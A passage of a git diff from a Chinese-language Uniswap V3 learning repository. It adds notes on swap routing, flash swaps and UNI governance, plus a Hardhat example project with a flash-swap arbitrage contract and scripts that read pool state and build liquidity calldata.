+2. 进入while循环，对当前交易对执行具体的交易操作
+3. 获取 `hasMultiplePools`
+    a. `path.length >= 3 * tokenAddressLength + 2 * feeLength` 的布尔值
+    b. `token + fee + token` 组成一个交易对，即 PoolKey
+    c. 这里是判断是否存在1个以上的交易对，即交易是否需要中转交易（A->B->C)
+4. 调用 `Router.exactInputInternal` exactInput的内部方法
+    a. `recipient` 若为0，则改为本router合约地址
+    b. 从交易链路 `path` 中解析出 `tokenIn`, `fee`, `tokenOut`, 即当前第一个 Pool 的关键信息，以此可计算出Pool的地址
+    c. 获取 `zeroForOne` ，即 `tokenIn < tokenOut` 的布尔值
+    - 在Pool中价格始终以 `y/x` 表示，这里 `address(x) < address(y)`
+    - `zeroForOne` 代表的是交易的方向，即`tokenIn`是作为x还是y，`tokenOut`反之
+    d. 调用 `Pool.swap` 执行实际的交易方法
+    - `amountIn` 入参是 `int256` 类型，即有符号，若传负数，则表示 exactOutinput 模式，这里是 exactInput，传入的是正数
+    - `priceLimit` 是交易执行的价格限制，一旦触及即停止交易。这里传0，代表以市价执行交易
+    - `SwapCallbackData` 是交易回调函数
+    - 在`Pool.swap`中交易是分段执行，具体细节参见其代码。swap函数在计算完实际交易量后，会先把输出token转账给接收者，然后调用回调将输入token从发送者转账到Pool合约
+    e. 返回实际的输入输出交易数量
+5. 根据`hasMultiplePools`判断循环是否继续
+    a. true 交易路径中仍有待执行的交易对
+    - 将支付者payer设为本router合约地址
+    - `path`剔除掉第一个token和fee的信息，继续使用后续的token地址和fee信息组成交易对
+    - 回到2继续执行
+    b. false 交易完成，跳出while循环，返回 `amountOut` 实际的输出token数量
+6. 最后检查交易实际的输出量是否满足用户设置的最小输出数量
+
+相关代码
+
+- [Router.exactInput](./SwapRouter.md#exactInput)
+- [Router.exactInputInternal](./SwapRouter.md#exactInputInternal)
+- [Router.SwapCallbackData](./SwapRouter.md#SwapCallbackData)
+- [Pool.swap](./UniswapV3Pool.md#swap)
+
+xmind
+
+- [exactInput 程序流程图](./xmind/ExactInput.png)
+
+#### exactOutput
+
+指定交易对路径，给出期望的输出数量，返回实际的交易数量。
+
+程序逻辑和 exactInput 类似
+
+### flash swap
+
+闪电贷接口，无需抵押和零信任的借贷，借贷到还贷需要在一个区块内完成。
+
+Uniswap v3 版本中，和 v2 一样也有两种闪电贷的方式，但是是通过不同的函数接口来完成的。
+
+- `Pool.flash` 借出和归还是同一币种
+- `Pool.swap` 借出swap函数先将输出token转给接收者，再通过回调将输入token转给Pool的机制，实现了借出和归还不同币种的闪电贷
+
+相关代码
+
+- [Pool.flash](./UniswapV3Pool.md#flash)
+- [flashswap](./UniswapV3Pool.md#flashswap)
diff --git a/Learn-DEFI-Uniswap-V3/strategy.md b/defi/Uniswap-V3/contractGuide/strategy.md
similarity index 100%
rename from Learn-DEFI-Uniswap-V3/strategy.md
rename to defi/Uniswap-V3/contractGuide/strategy.md
diff --git a/defi/Uniswap-V3/contractGuide/xmind/BurnPosition.png b/defi/Uniswap-V3/contractGuide/xmind/BurnPosition.png
new file mode 100644
index 000000000..7c3084363
Binary files /dev/null and b/defi/Uniswap-V3/contractGuide/xmind/BurnPosition.png differ
diff --git a/defi/Uniswap-V3/contractGuide/xmind/CollectFee.png b/defi/Uniswap-V3/contractGuide/xmind/CollectFee.png
new file mode 100644
index 000000000..8d1ea11ca
Binary files /dev/null and b/defi/Uniswap-V3/contractGuide/xmind/CollectFee.png differ
diff --git a/defi/Uniswap-V3/contractGuide/xmind/CreatePool.png b/defi/Uniswap-V3/contractGuide/xmind/CreatePool.png
new file mode 100644
index 000000000..850cfc1c8
Binary files /dev/null and b/defi/Uniswap-V3/contractGuide/xmind/CreatePool.png differ
diff --git a/defi/Uniswap-V3/contractGuide/xmind/DecreaseLiquidity.png b/defi/Uniswap-V3/contractGuide/xmind/DecreaseLiquidity.png
new file mode 100644
index 000000000..6671cb414
Binary files /dev/null and b/defi/Uniswap-V3/contractGuide/xmind/DecreaseLiquidity.png differ
diff --git a/defi/Uniswap-V3/contractGuide/xmind/ExactInput.png b/defi/Uniswap-V3/contractGuide/xmind/ExactInput.png
new file mode 100644
index 000000000..0af903136
Binary files /dev/null and b/defi/Uniswap-V3/contractGuide/xmind/ExactInput.png differ
diff --git a/defi/Uniswap-V3/contractGuide/xmind/Mint-IncreateLiquidity.png b/defi/Uniswap-V3/contractGuide/xmind/Mint-IncreateLiquidity.png
new file mode 100644
index 000000000..0523f9112
Binary files /dev/null and b/defi/Uniswap-V3/contractGuide/xmind/Mint-IncreateLiquidity.png differ
diff --git a/defi/Uniswap-V3/contractGuide/xmind/UniV3.xmind b/defi/Uniswap-V3/contractGuide/xmind/UniV3.xmind
new file mode 100644
index 000000000..04ddc75c5
Binary files /dev/null and b/defi/Uniswap-V3/contractGuide/xmind/UniV3.xmind differ
diff --git a/defi/Uniswap-V3/dao/readme.md b/defi/Uniswap-V3/dao/readme.md
new file mode 100644
index 000000000..459f18812
--- /dev/null
+++ b/defi/Uniswap-V3/dao/readme.md
@@ -0,0 +1,41 @@
+# uniswap dao
+
+在引入此代币之前，开发团队全权负责确定 Uniswap 项目的开发决策。现在治理已经转移到社区，这样的决定是由整个 Uniswap 网络做出的。这归功于 UNI 的引入。
+
+## 代币分配
+为此，团队发行了 10 亿个 UNI 代币共享给平台的核心贡献者，包括开发团队、Uniswap 社区成员、投资者和顾问。分配给各组的总供应量百分比如下：
+
+- 60.00% 即 600,000,000 UNI ：Uniswap 社区成员
+- 21.266% 即 212,660,000 UNI：团队成员和未来 4 年归属计划的员工
+- 18.044% 即 180,440,000 UNI：4 年归属时间表的投资者
+- 0.69% 即 6,900,000 UNI： 4 年归属时间表的顾问
+
+## 资源列表
+治理代币持有者共同控制以下资源：
+
+Uniswap 治理
+UNI 社区金库
+协议费用切换
+Uniswap.eth ENS 名称
+Uniswap 默认列表 (tokens.uniswap.eth)
+SOCKS 流动性代币
+
+## 提案流程
+Uniswap 持有者如何提交提案？
+更重要的是，任何 UNI 持有者都可以提交修改或引入新功能的提案，并获得其他社区成员的批准。在实施之前，开发提案需要扩展不同的层次。
+
+- 第一阶段是温度检查，提议者需要向社区介绍想法并获得足够的选票以进入下一阶段。在这里，该提案必须获得多达 25,000 个 UNI 赞成票才有资格进行进一步审议。
+
+- 第二阶段是共识检查。在这个阶段，提议者必须启用正式的讨论，以突出提议的核心变化和优势。对于扩大这一阶段的提案，提案必须吸引不少于 50,000 个 UNI 的赞成票。
+
+- 最后一个阶段是治理提案。这是提议者提交经过审计的代码以进行最终审议的地方。与其他两个阶段一样，有一个最低投票要求来决定提案是否被采纳——每个提案必须获得多达 40,000,000 个 UNI 赞成票才有资格实施。
+
+但是，在此之前，只有在每个提案人的地址中分配了超过 2,500,000 个 UNI 的情况下，才能提交提案以供社区考虑。最初，要求是 10,000,000 UNI。此规则后来通过治理机制审查到 2,500,000，以减少提交提案的障碍。
+
+值得注意的是，UNI 持有者可以自己投票或将他们的投票委托给其他用户，持有者认为他们会做出代表 Uniswap 生态系统最佳利益的决定。可以在 [官方文档](https://uniswap.org/blog/uni/) 找到有关 Uniswap 治理的更多信息.
+
+
+## 参考链接：
+
+- uni gov: https://uniswap.org/blog/uni/ 
+- Building and Running a DAO --a16z： https://future.a16z.com/building-and-running-a-dao-why-governance-matters/
diff --git a/defi/Uniswap-V3/frontGuide/sdk/.env.example b/defi/Uniswap-V3/frontGuide/sdk/.env.example
new file mode 100644
index 000000000..f0520d69f
--- /dev/null
+++ b/defi/Uniswap-V3/frontGuide/sdk/.env.example
@@ -0,0 +1,2 @@
+PRIVATE_KEY=XXX
+INFURA_ID=XXX
\ No newline at end of file
diff --git a/defi/Uniswap-V3/frontGuide/sdk/README.md b/defi/Uniswap-V3/frontGuide/sdk/README.md
new file mode 100644
index 000000000..7bf2771fe
--- /dev/null
+++ b/defi/Uniswap-V3/frontGuide/sdk/README.md
@@ -0,0 +1,36 @@
+## uniswap v3 sdk 介绍  
+
+You will learn how to invoke each function with the required parameters necessary in returning the calldata.  
+Because any liquidity related action relies on setting up pool and position instances.
+the following is what you will learn in this guide:  
+  1. Set up the pool instance. This follows the same structure as the previous guide. Refer to Creating a Pool Instance for more detail.
+  2. Create a position.
+  3. Construct the calldata for minting a position.
+  4. Construct the calldata for adding to a position.
+  5. Construct the calldata for removing from a position.  
+
+## flash swap 
+   we will write a smart contract that calls flash on a V3 pool and swaps the full amount withdrawn of token0 and token1 in the corresponding pools with the same token pair - but different fee tiers. After the swap, the contract will pay back the first pool and transfer profits to the original calling address.
+
+Uniswap V3 introduces a new function, flash, within the Pool contract.
+
+## hardhat js to ts
+注意下面三项：
+- Plugins must be loaded with import instead of require.
+- You need to explicitly import the Hardhat config functions, like task.
+- If you are defining tasks, they need to access the Hardhat Runtime Environment explicitly, as a parameter.
+
+
+
+## 操作步骤
+```
+npx hardhat run scripts/pool-simple.ts --network mainnet
+
+npx hardhat run scripts/pool.ts --network mainnet
+
+```
+
+## 参考文档  
+https://docs.uniswap.org/sdk/introduction
+https://hardhat.org/guides/typescript.html  hardhat use ts
+https://arxiv.org/pdf/2010.12252.pdf  flashloadn paper  
\ No newline at end of file
diff --git a/defi/Uniswap-V3/frontGuide/sdk/contracts/PairFlash.sol b/defi/Uniswap-V3/frontGuide/sdk/contracts/PairFlash.sol
new file mode 100644
index 000000000..1d9203003
--- /dev/null
+++ b/defi/Uniswap-V3/frontGuide/sdk/contracts/PairFlash.sol
@@ -0,0 +1,158 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+pragma solidity =0.7.6;
+pragma abicoder v2;
+
+import '@uniswap/v3-core/contracts/interfaces/callback/IUniswapV3FlashCallback.sol';
+import '@uniswap/v3-core/contracts/libraries/LowGasSafeMath.sol';
+
+import '@uniswap/v3-periphery/contracts/base/PeripheryPayments.sol';
+import '@uniswap/v3-periphery/contracts/base/PeripheryImmutableState.sol';
+import '@uniswap/v3-periphery/contracts/libraries/PoolAddress.sol';
+import '@uniswap/v3-periphery/contracts/libraries/CallbackValidation.sol';
+import '@uniswap/v3-periphery/contracts/libraries/TransferHelper.sol';
+import '@uniswap/v3-periphery/contracts/interfaces/ISwapRouter.sol';
+
+/// @title Flash contract implementation
+/// @notice An example contract using the Uniswap V3 flash function
+contract PairFlash is IUniswapV3FlashCallback, PeripheryImmutableState, PeripheryPayments {
+    using LowGasSafeMath for uint256;
+    using LowGasSafeMath for int256;
+
+    ISwapRouter public immutable swapRouter;
+
+    constructor(
+        ISwapRouter _swapRouter,
+        address _factory,
+        address _WETH9
+    ) PeripheryImmutableState(_factory, _WETH9) {
+        swapRouter = _swapRouter;
+    }
+
+    /// @param fee0 The fee from calling flash for token0
+    /// @param fee1 The fee from calling flash for token1
+    /// @param data The data needed in the callback passed as FlashCallbackData from `initFlash`
+    /// @notice implements the callback called from flash
+    /// @dev fails if the flash is not profitable, meaning the amountOut from the flash is less than the amount borrowed
+    function uniswapV3FlashCallback(
+        uint256 fee0,
+        uint256 fee1,
+        bytes calldata data
+    ) external override {
+        FlashCallbackData memory decoded = abi.decode(data, (FlashCallbackData));
+        CallbackValidation.verifyCallback(factory, decoded.poolKey);
+
+        address token0 = decoded.poolKey.token0;
+        address token1 = decoded.poolKey.token1;
+
+        TransferHelper.safeApprove(token0, address(swapRouter), decoded.amount0);
+        TransferHelper.safeApprove(token1, address(swapRouter), decoded.amount1);
+
+        // profitable check
+        // exactInputSingle will fail if this amount not met
+        uint256 amount1Min = LowGasSafeMath.add(decoded.amount1, fee1);
+        uint256 amount0Min = LowGasSafeMath.add(decoded.amount0, fee0);
+
+        // call exactInputSingle for swapping token1 for token0 in pool w/fee2
+        uint256 amountOut0 =
+        swapRouter.exactInputSingle(
+            ISwapRouter.ExactInputSingleParams({
+        tokenIn: token1,
+        tokenOut: token0,
+        fee: decoded.poolFee2,
+        recipient: address(this),
+        deadline: block.timestamp + 200,
+        amountIn: decoded.amount1,
+        amountOutMinimum: amount0Min,
+        sqrtPriceLimitX96: 0
+        })
+        );
+
+        // call exactInputSingle for swapping token0 for token 1 in pool w/fee3
+        uint256 amountOut1 =
+        swapRouter.exactInputSingle(
+            ISwapRouter.ExactInputSingleParams({
+        tokenIn: token0,
+        tokenOut: token1,
+        fee: decoded.poolFee3,
+        recipient: address(this),
+        deadline: block.timestamp + 200,
+        amountIn: decoded.amount0,
+        amountOutMinimum: amount1Min,
+        sqrtPriceLimitX96: 0
+        })
+        );
+
+        // end up with amountOut0 of token0 from first swap and amountOut1 of token1 from second swap
+        uint256 amount0Owed = LowGasSafeMath.add(decoded.amount0, fee0);
+        uint256 amount1Owed = LowGasSafeMath.add(decoded.amount1, fee1);
+
+        TransferHelper.safeApprove(token0, address(this), amount0Owed);
+        TransferHelper.safeApprove(token1, address(this), amount1Owed);
+
+        if (amount0Owed > 0) pay(token0, address(this), msg.sender, amount0Owed);
+        if (amount1Owed > 0) pay(token1, address(this), msg.sender, amount1Owed);
+
+        // if profitable pay profits to payer
+        if (amountOut0 > amount0Owed) {
+            uint256 profit0 = LowGasSafeMath.sub(amountOut0, amount0Owed);
+
+            TransferHelper.safeApprove(token0, address(this), profit0);
+            pay(token0, address(this), decoded.payer, profit0);
+        }
+        if (amountOut1 > amount1Owed) {
+            uint256 profit1 = LowGasSafeMath.sub(amountOut1, amount1Owed);
+            TransferHelper.safeApprove(token0, address(this), profit1);
+            pay(token1, address(this), decoded.payer, profit1);
+        }
+    }
+
+    //fee1 is the fee of the pool from the initial borrow
+    //fee2 is the fee of the first pool to arb from
+    //fee3 is the fee of the second pool to arb from
+    struct FlashParams {
+        address token0;
+        address token1;
+        uint24 fee1;
+        uint256 amount0;
+        uint256 amount1;
+        uint24 fee2;
+        uint24 fee3;
+    }
+    // fee2 and fee3 are the two other fees associated with the two other pools of token0 and token1
+    struct FlashCallbackData {
+        uint256 amount0;
+        uint256 amount1;
+        address payer;
+        PoolAddress.PoolKey poolKey;
+        uint24 poolFee2;
+        uint24 poolFee3;
+    }
+
+    /// @param params The parameters necessary for flash and the callback, passed in as FlashParams
+    /// @notice Calls the pools flash function with data needed in `uniswapV3FlashCallback`
+    function initFlash(FlashParams memory params) external {
+        PoolAddress.PoolKey memory poolKey =
+        PoolAddress.PoolKey({token0: params.token0, token1: params.token1, fee: params.fee1});
+        IUniswapV3Pool pool = IUniswapV3Pool(PoolAddress.computeAddress(factory, poolKey));
+        // recipient of borrowed amounts
+        // amount of token0 requested to borrow
+        // amount of token1 requested to borrow
+        // need amount 0 and amount1 in callback to pay back pool
+        // recipient of flash should be THIS contract
+        pool.flash(
+            address(this),
+            params.amount0,
+            params.amount1,
+            abi.encode(
+                FlashCallbackData({
+            amount0: params.amount0,
+            amount1: params.amount1,
+            payer: msg.sender,
+            poolKey: poolKey,
+            poolFee2: params.fee2,
+            poolFee3: params.fee3
+            })
+            )
+        );
+    }
+}
diff --git a/defi/Uniswap-V3/frontGuide/sdk/hardhat.config.ts b/defi/Uniswap-V3/frontGuide/sdk/hardhat.config.ts
new file mode 100644
index 000000000..2399f547d
--- /dev/null
+++ b/defi/Uniswap-V3/frontGuide/sdk/hardhat.config.ts
@@ -0,0 +1,67 @@
+import { task } from "hardhat/config";
+import '@typechain/hardhat'
+import '@nomiclabs/hardhat-ethers'
+import "@nomiclabs/hardhat-waffle";
+import { HardhatUserConfig } from "hardhat/config";
+
+
+const fs = require("fs");
+require('dotenv').config()
+
+
+// This is a sample Hardhat task. To learn how to create your own go to
+// https://hardhat.org/guides/create-task.html
+task("accounts", "Prints the list of accounts", async (args,hre) => {
+  const accounts = await hre.ethers.getSigners();
+
+  for (const account of accounts) {
+    console.log(account.address);
+  }
+});
+
+function mnemonic() {
+
+ return process.env.PRIVATE_KEY;
+
+}
+
+/**
+ * @type import('hardhat/config').HardhatUserConfig
+ */
+export default  {
+  solidity: "0.8.0",
+  networks: {
+    localhost: {
+      url: "http://localhost:8545",
+      //gasPrice: 125000000000,//you can adjust gasPrice locally to see how much it will cost on production
+      /*
+        notice no mnemonic here? it will just use account 0 of the hardhat node to deploy
+        (you can put in a mnemonic here to set the deployer locally)
+      */
+    },
+    rinkeby: {
+      url: "https://rinkeby.infura.io/v3/" + process.env.INFURA_ID, //<---- YOUR INFURA ID! (or it won't work)
+      accounts: [
+      mnemonic()
+      ],
+    },
+    kovan: {
+      url: "https://kovan.infura.io/v3/" + process.env.INFURA_ID, //<---- YOUR INFURA ID! (or it won't work)
+      accounts: [
+        mnemonic()
+      ],
+    },
+    mainnet: {
+      url: "https://mainnet.infura.io/v3/" + process.env.INFURA_ID, //<---- YOUR INFURA ID! (or it won't work)
+      accounts: [
+        mnemonic()
+      ],
+    },
+    ropsten: {
+      url: "https://ropsten.infura.io/v3/" + process.env.INFURA_ID, //<---- YOUR INFURA ID! (or it won't work)
+      accounts: [
+        mnemonic()
+      ],
+    },
+  }
+};
\ No newline at end of file
diff --git a/defi/Uniswap-V3/frontGuide/sdk/package.json b/defi/Uniswap-V3/frontGuide/sdk/package.json
new file mode 100644
index 000000000..8d37cb332
--- /dev/null
+++ b/defi/Uniswap-V3/frontGuide/sdk/package.json
@@ -0,0 +1,27 @@
+{
+  "name": "hardhat-project",
+  "devDependencies": {
+    "@nomiclabs/hardhat-ethers": "^2.0.2",
+    "@nomiclabs/hardhat-waffle": "^2.0.1",
+    "chai": "^4.3.4",
+    "ethereum-waffle": "^3.3.0",
+    "ethers": "^5.1.4",
+    "hardhat": "^2.2.1",
+    "sol-merger": "^3.1.0",
+    "@uniswap/v3-sdk": "^3.2.1",
+    "@uniswap/sdk-core": "^3.0.1",
+    "ts-node": "^9.1.1",
+    "typescript": "^4.2.3",
+    "@types/node": "^14.14.36",
+    "@types/mocha": "^9.0.0",
+    "@types/chai": "^4.2.21",
+    "tsconfig": "^7.0.0",
+    "hardhat-typechain": "^0.3.3",
+    "typechain": "^4.0.0",
+    "@typechain/hardhat": "^2.3.0",
+    "tsconfig-paths": "^3.10.1"
+  },
+  "dependencies": {
+    "dotenv": "^10.0.0"
+  }
+}
diff --git a/defi/Uniswap-V3/frontGuide/sdk/scripts/deploy.js b/defi/Uniswap-V3/frontGuide/sdk/scripts/deploy.js
new file mode 100644
index 000000000..efc1a55f7
--- /dev/null
+++ b/defi/Uniswap-V3/frontGuide/sdk/scripts/deploy.js
@@ -0,0 +1,32 @@
+import { ethers, run } from 'hardhat';
+
+async function main() {
+  await run('compile');
+
+  const accounts = await ethers.getSigners();
+
+  console.log(
+    'Deploying contracts with the account:',
+    accounts.map((a) => a.address)
+  );
+
+  console.log('Account balance:', (await deployer.getBalance()).toString());
+
+  const FlashLoan = await ethers.getContractFactory('PairFlash');
+  const _swapRouter = '';
+  const _factory = '';
+  const _WETH9 = '';
+
+  const flashLoan = await FlashLoan.deploy('', '', '');
+
+  console.log('flashLoan address:', flashLoan.address);
+}
+
+// We recommend this pattern to be able to use async/await everywhere
+// and properly handle errors.
+main()
+  .then(() => process.exit(0))
+  .catch((error) => {
+    console.error(error);
+    process.exit(1);
+  });
diff --git a/defi/Uniswap-V3/frontGuide/sdk/scripts/flashloan.ts b/defi/Uniswap-V3/frontGuide/sdk/scripts/flashloan.ts
new file mode 100644
index 000000000..00526cd8c
--- /dev/null
+++ b/defi/Uniswap-V3/frontGuide/sdk/scripts/flashloan.ts
@@ -0,0 +1,80 @@
+import { ethers } from 'hardhat';
+import { Pool } from '@uniswap/v3-sdk';
+import { Token } from '@uniswap/sdk-core';
+import { abi as IUniswapV3PoolABI } from '@uniswap/v3-core/artifacts/contracts/interfaces/IUniswapV3Pool.sol/IUniswapV3Pool.json';
+import { BigNumber } from 'ethers';
+
+// usdc/eth
+const poolAddress = '0x8ad599c3A0ff1De082011EFDDc58f1908eb6e6D8';
+
+const poolContract = new ethers.Contract(
+  poolAddress,
+  IUniswapV3PoolABI,
+  ethers.provider
+);
+
+interface Immutables {
+  factory: string;
+  token0: string;
+  token1: string;
+  fee: number;
+  tickSpacing: number;
+  maxLiquidityPerTick: BigNumber;
+}
+
+interface State {
+  liquidity: BigNumber;
+  sqrtPriceX96: BigNumber;
+  tick: number;
+  observationIndex: number;
+  observationCardinality: number;
+  observationCardinalityNext: number;
+  feeProtocol: number;
+  unlocked: boolean;
+}
+
+async function getPoolImmutables() {
+  const immutables: Immutables = {
+    factory: await poolContract.factory(),
+    token0: await poolContract.token0(),
+    token1: await poolContract.token1(),
+    fee: await poolContract.fee(),
+    tickSpacing: await poolContract.tickSpacing(),
+    maxLiquidityPerTick: await poolContract.maxLiquidityPerTick(),
+  };
+  return immutables;
+}
+
+async function getPoolState() {
+  const slot = await poolContract.slot0();
+  const PoolState: State = {
+    liquidity: await poolContract.liquidity(),
+    sqrtPriceX96: slot[0],
+    tick: slot[1],
+    observationIndex: slot[2],
+    observationCardinality: slot[3],
+    observationCardinalityNext: slot[4],
+    feeProtocol: slot[5],
+    unlocked: slot[6],
+  };
+  return PoolState;
+}
+
+async function main() {
+  const immutables = await getPoolImmutables();
+  const state = await getPoolState();
+  const TokenA = new Token(1, immutables.token0, 6, 'USDC', 'USD Coin');
+  const TokenB = new Token(1, immutables.token1, 18, 'WETH', 'Wrapped Ether');
+
+  const poolExample = new Pool(
+    TokenA,
+    TokenB,
+    immutables.fee,
+    state.sqrtPriceX96.toString(),
+    state.liquidity.toString(),
+    state.tick
+  );
+  console.log(poolExample);
+}
+
+main();
diff --git a/defi/Uniswap-V3/frontGuide/sdk/scripts/pool-simple.ts b/defi/Uniswap-V3/frontGuide/sdk/scripts/pool-simple.ts
new file mode 100644
index 000000000..0815fdf41
--- /dev/null
+++ b/defi/Uniswap-V3/frontGuide/sdk/scripts/pool-simple.ts
@@ -0,0 +1,50 @@
+import { Address } from 'cluster';
+import { ethers } from 'hardhat';
+
+require('dotenv').config();
+
+const poolAddress = '0x8ad599c3A0ff1De082011EFDDc58f1908eb6e6D8';
+
+const poolImmutablesAbi = [
+  'function factory() external view returns (address)',
+  'function token0() external view returns (address)',
+  'function token1() external view returns (address)',
+  'function fee() external view returns (uint24)',
+  'function tickSpacing() external view returns (int24)',
+  'function maxLiquidityPerTick() external view returns (uint128)',
+];
+
+interface Immutables {
+  factory: Address;
+  token0: Address;
+  token1: Address;
+  fee: number;
+  tickSpacing: number;
+  maxLiquidityPerTick: number;
+}
+
+async function getPoolImmutables() {
+  const accounts = await ethers.getSigners();
+
+  const poolContract = new ethers.Contract(
+    poolAddress,
+    poolImmutablesAbi,
+    accounts[0]
+  );
+
+  const PoolImmutables: Immutables = {
+    factory: await poolContract.factory(),
+    token0: await poolContract.token0(),
+    token1: await poolContract.token1(),
+    fee: await poolContract.fee(),
+    tickSpacing: await poolContract.tickSpacing(),
+    maxLiquidityPerTick: await poolContract.maxLiquidityPerTick(),
+  };
+  return PoolImmutables;
+}
+
+getPoolImmutables().then((result) => {
+  console.log('pool info');
+  console.log(result);
+  console.log(result.maxLiquidityPerTick.toString());
+});
diff --git a/defi/Uniswap-V3/frontGuide/sdk/scripts/pool.ts b/defi/Uniswap-V3/frontGuide/sdk/scripts/pool.ts
new file mode 100644
index 000000000..9d3b8413a
--- /dev/null
+++ b/defi/Uniswap-V3/frontGuide/sdk/scripts/pool.ts
@@ -0,0 +1,69 @@
+import { ethers } from 'hardhat';
+import { Pool } from '@uniswap/v3-sdk';
+import { Token } from '@uniswap/sdk-core';
+import { abi as IUniswapV3PoolABI } from '@uniswap/v3-core/artifacts/contracts/interfaces/IUniswapV3Pool.sol/IUniswapV3Pool.json';
+import { BigNumber } from 'ethers';
+
+// usdc/eth
+const poolAddress = '0x8ad599c3A0ff1De082011EFDDc58f1908eb6e6D8';
+
+const poolContract = new ethers.Contract(poolAddress, IUniswapV3PoolABI, ethers.provider);
+
+interface Immutables {
+  factory: string;
+  token0: string;
+  token1: string;
+  fee: number;
+  tickSpacing: number;
+  maxLiquidityPerTick: BigNumber;
+}
+
+interface State {
+  liquidity: BigNumber;
+  sqrtPriceX96: BigNumber;
+  tick: number;
+  observationIndex: number;
+  observationCardinality: number;
+  observationCardinalityNext: number;
+  feeProtocol: number;
+  unlocked: boolean;
+}
+
+async function getPoolImmutables() {
+  const immutables: Immutables = {
+    factory: await poolContract.factory(),
+    token0: await poolContract.token0(),
+    token1: await poolContract.token1(),
+    fee: await poolContract.fee(),
+    tickSpacing: await poolContract.tickSpacing(),
+    maxLiquidityPerTick: await poolContract.maxLiquidityPerTick(),
+  };
+  return immutables;
+}
+
+async function getPoolState() {
+  const slot = await poolContract.slot0();
+  const PoolState: State = {
+    liquidity: await poolContract.liquidity(),
+    sqrtPriceX96: slot[0],
+    tick: slot[1],
+    observationIndex: slot[2],
+    observationCardinality: slot[3],
+    observationCardinalityNext: slot[4],
+    feeProtocol: slot[5],
+    unlocked: slot[6],
+  };
+  return PoolState;
+}
+
+async function main() {
+  const immutables = await getPoolImmutables();
+  const state = await getPoolState();
+  const TokenA = new Token(1, immutables.token0, 6, 'USDC', 'USD Coin');
+  const TokenB = new Token(1, immutables.token1, 18, 'WETH', 'Wrapped Ether');
+
+  const poolExample = new Pool(TokenA, TokenB, immutables.fee, state.sqrtPriceX96.toString(), state.liquidity.toString(), state.tick);
+  console.log(poolExample);
+}
+
+main();
diff --git a/defi/Uniswap-V3/frontGuide/sdk/scripts/position.ts b/defi/Uniswap-V3/frontGuide/sdk/scripts/position.ts
new file mode 100644
index 000000000..31a6b6bd7
--- /dev/null
+++ b/defi/Uniswap-V3/frontGuide/sdk/scripts/position.ts
@@ -0,0 +1,150 @@
+import {
+  nearestUsableTick,
+  NonfungiblePositionManager,
+  Pool,
+  Position,
+} from '@uniswap/v3-sdk/';
+
+import { ethers } from 'hardhat';
+import { CurrencyAmount, Percent, Token } from '@uniswap/sdk-core';
+import { abi as IUniswapV3PoolABI } from '@uniswap/v3-core/artifacts/contracts/interfaces/IUniswapV3Pool.sol/IUniswapV3Pool.json';
+import { BigNumber } from 'ethers';
+
+const provider = ethers.provider;
+
+// pool address for DAI/USDC 0.05%
+const poolAddress = '0x6c6bc977e13df9b0de53b251522280bb72383700';
+
+const poolContract = new ethers.Contract(
+  poolAddress,
+  IUniswapV3PoolABI,
+  provider
+);
+
+interface Immutables {
+  factory: string;
+  token0: string;
+  token1: string;
+  fee: number;
+  tickSpacing: number;
+  maxLiquidityPerTick: BigNumber;
+}
+
+interface State {
+  liquidity: BigNumber;
+  sqrtPriceX96: BigNumber;
+  tick: number;
+  observationIndex: number;
+  observationCardinality: number;
+  observationCardinalityNext: number;
+  feeProtocol: number;
+  unlocked: boolean;
+}
+
+async function getPoolImmutables() {
+  const immutables: Immutables = {
+    factory: await poolContract.factory(),
+    token0: await poolContract.token0(),
+    token1: await poolContract.token1(),
+    fee: await poolContract.fee(),
+    tickSpacing: await poolContract.tickSpacing(),
+    maxLiquidityPerTick: await poolContract.maxLiquidityPerTick(),
+  };
+  return immutables;
+}
+
+async function getPoolState() {
+  const slot = await poolContract.slot0();
+  const PoolState: State = {
+    liquidity: await poolContract.liquidity(),
+    sqrtPriceX96: slot[0],
+    tick: slot[1],
+    observationIndex: slot[2],
+    observationCardinality: slot[3],
+    observationCardinalityNext: slot[4],
+    feeProtocol: slot[5],
+    unlocked: slot[6],
+  };
+  return PoolState;
+}
+
+async function liquidityExamples(sender: string, exampleType: number) {
+  const immutables = await getPoolImmutables();
+  const state = await getPoolState();
+  const DAI = new Token(1, immutables.token0, 18, 'DAI', 'Stablecoin');
+  const USDC = new Token(1, immutables.token1, 18, 'USDC', 'USD Coin');
+  const block = await provider.getBlock(provider.getBlockNumber());
+  const deadline = block.timestamp + 200;
+  console.log('blocknumber: ', deadline);
+
+  //create a pool
+  const DAI_USDC_POOL = new Pool(
+    DAI,
+    USDC,
+    immutables.fee,
+    state.sqrtPriceX96.toString(),
+    state.liquidity.toString(),
+    state.tick
+  );
+
+  // create a position with the pool
+  // the position is in-range, specified by the lower and upper tick
+  // in this example, we will set the liquidity parameter to a small percentage of the current liquidity
+  const position = new Position({
+    pool: DAI_USDC_POOL,
+    liquidity: state.liquidity.mul(1).toString(),
+    tickLower:
+      nearestUsableTick(state.tick, immutables.tickSpacing) -
+      immutables.tickSpacing * 2,
+    tickUpper:
+      nearestUsableTick(state.tick, immutables.tickSpacing) +
+      immutables.tickSpacing * 2,
+  });
+
+  // Example 0: Setting up calldata for minting a Position
+  if (exampleType == 0) {
+    const { calldata, value } = NonfungiblePositionManager.addCallParameters(
+      position,
+      {
+        slippageTolerance: new Percent(50, 10_000),
+        recipient: sender,
+        deadline: deadline,
+      }
+    );
+    console.log('______________');
+    console.log(calldata);
+    console.log(value);
+  }
+
+  // Example 1: Setting up calldata for adding liquidity to Position
+  if (exampleType == 1) {
+    const { calldata, value } = NonfungiblePositionManager.addCallParameters(
+      position,
+      {
+        slippageTolerance: new Percent(50, 10_000),
+        deadline: deadline,
+        tokenId: 1,
+      }
+    );
+  }
+
+  // Example 2: Setting up calldata for removing liquidity from Position
+  if (exampleType == 2) {
+    const { calldata, value } = NonfungiblePositionManager.removeCallParameters(
+      position,
+      {
+        tokenId: 1,
+        liquidityPercentage: new Percent(1),
+        slippageTolerance: new Percent(50, 10_000),
+        deadline: deadline,
+        collectOptions: {
+          expectedCurrencyOwed0: CurrencyAmount.fromRawAmount(DAI, 0),
+          expectedCurrencyOwed1: CurrencyAmount.fromRawAmount(USDC, 0),
+          recipient: sender,
+        },
+      }
+    );
+  }
+}
+
+liquidityExamples('0x54A65DB20D7653CE509d3ee42656a8F138037d51', 0);
diff --git a/defi/Uniswap-V3/frontGuide/sdk/test/erc20-all-test.js b/defi/Uniswap-V3/frontGuide/sdk/test/erc20-all-test.js
new file mode 100644
index 000000000..b4bb364c3
--- /dev/null
